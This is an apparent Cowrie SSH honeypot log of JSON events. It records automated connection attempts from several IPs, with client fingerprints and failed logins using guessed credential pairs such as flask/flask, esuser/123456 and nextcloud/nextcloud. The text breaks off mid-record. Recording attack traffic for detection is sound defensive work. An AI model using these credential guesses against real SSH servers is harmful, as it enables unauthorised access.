{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:55.197692Z","src_ip":"45.153.34.114","session":"e145f4374080","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:55.488911Z","src_ip":"45.153.34.114","session":"e145f4374080","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:56.628004Z","src_ip":"45.153.34.114","session":"e145f4374080","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59428,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b20d1321312","protocol":"ssh","message":"New connection: 103.75.199.4:59428 (159.203.135.109:22) [session: 5b20d1321312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:58.926656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:58.931857Z","src_ip":"103.75.199.4","session":"5b20d1321312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:59.031051Z","src_ip":"103.75.199.4","session":"5b20d1321312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:45:59.317731Z","src_ip":"103.75.199.4","session":"5b20d1321312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:00.416785Z","src_ip":"103.75.199.4","session":"5b20d1321312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40300,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbae966f156d","protocol":"ssh","message":"New connection: 45.153.34.114:40300 (159.203.135.109:22) [session: dbae966f156d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:03.140116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:03.147353Z","src_ip":"45.153.34.114","session":"dbae966f156d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:03.237547Z","src_ip":"45.153.34.114","session":"dbae966f156d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:03.498668Z","src_ip":"45.153.34.114","session":"dbae966f156d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:04.598997Z","src_ip":"45.153.34.114","session":"dbae966f156d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39682,"dst_ip":"159.203.135.109","dst_port":22,"session":"902a020dc184","protocol":"ssh","message":"New connection: 45.153.34.114:39682 (159.203.135.109:22) [session: 902a020dc184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:10.582920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:10.588353Z","src_ip":"45.153.34.114","session":"902a020dc184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:10.674731Z","src_ip":"45.153.34.114","session":"902a020dc184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:10.938290Z","src_ip":"45.153.34.114","session":"902a020dc184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:12.025637Z","src_ip":"45.153.34.114","session":"902a020dc184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55126,"dst_ip":"10.17.0.5","dst_port":22,"session":"8effe0bd5906","protocol":"ssh","message":"New connection: 80.94.92.182:55126 (10.17.0.5:22) [session: 8effe0bd5906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.029112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.092776Z","src_ip":"80.94.92.182","session":"8effe0bd5906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.212693Z","src_ip":"80.94.92.182","session":"8effe0bd5906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"22f98b21cbf9","protocol":"ssh","message":"New connection: 45.153.34.114:39710 (159.203.135.109:22) [session: 22f98b21cbf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.444414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.449585Z","src_ip":"45.153.34.114","session":"22f98b21cbf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.538518Z","src_ip":"45.153.34.114","session":"22f98b21cbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:18.838518Z","src_ip":"45.153.34.114","session":"22f98b21cbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jibs","password":"jibs","message":"login attempt [jibs/jibs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:19.115396Z","src_ip":"80.94.92.182","session":"8effe0bd5906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:19.935794Z","src_ip":"45.153.34.114","session":"22f98b21cbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:20.338144Z","src_ip":"80.94.92.182","session":"8effe0bd5906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":33888,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aaa59882854","protocol":"ssh","message":"New connection: 103.75.199.4:33888 (159.203.135.109:22) [session: 9aaa59882854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:20.789455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:20.793885Z","src_ip":"103.75.199.4","session":"9aaa59882854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:20.885585Z","src_ip":"103.75.199.4","session":"9aaa59882854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:21.161703Z","src_ip":"103.75.199.4","session":"9aaa59882854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:22.256566Z","src_ip":"103.75.199.4","session":"9aaa59882854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":56138,"dst_ip":"159.203.135.109","dst_port":22,"session":"147c17c3ece1","protocol":"ssh","message":"New connection: 45.153.34.114:56138 (159.203.135.109:22) [session: 147c17c3ece1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:26.576751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:26.581480Z","src_ip":"45.153.34.114","session":"147c17c3ece1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:26.669776Z","src_ip":"45.153.34.114","session":"147c17c3ece1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:26.922383Z","src_ip":"45.153.34.114","session":"147c17c3ece1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:28.017885Z","src_ip":"45.153.34.114","session":"147c17c3ece1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54264,"dst_ip":"159.203.135.109","dst_port":22,"session":"390940ec8901","protocol":"ssh","message":"New connection: 45.153.34.114:54264 (159.203.135.109:22) [session: 390940ec8901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:34.462358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:46:34.467229Z","src_ip":"45.153.34.114","session":"390940ec8901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 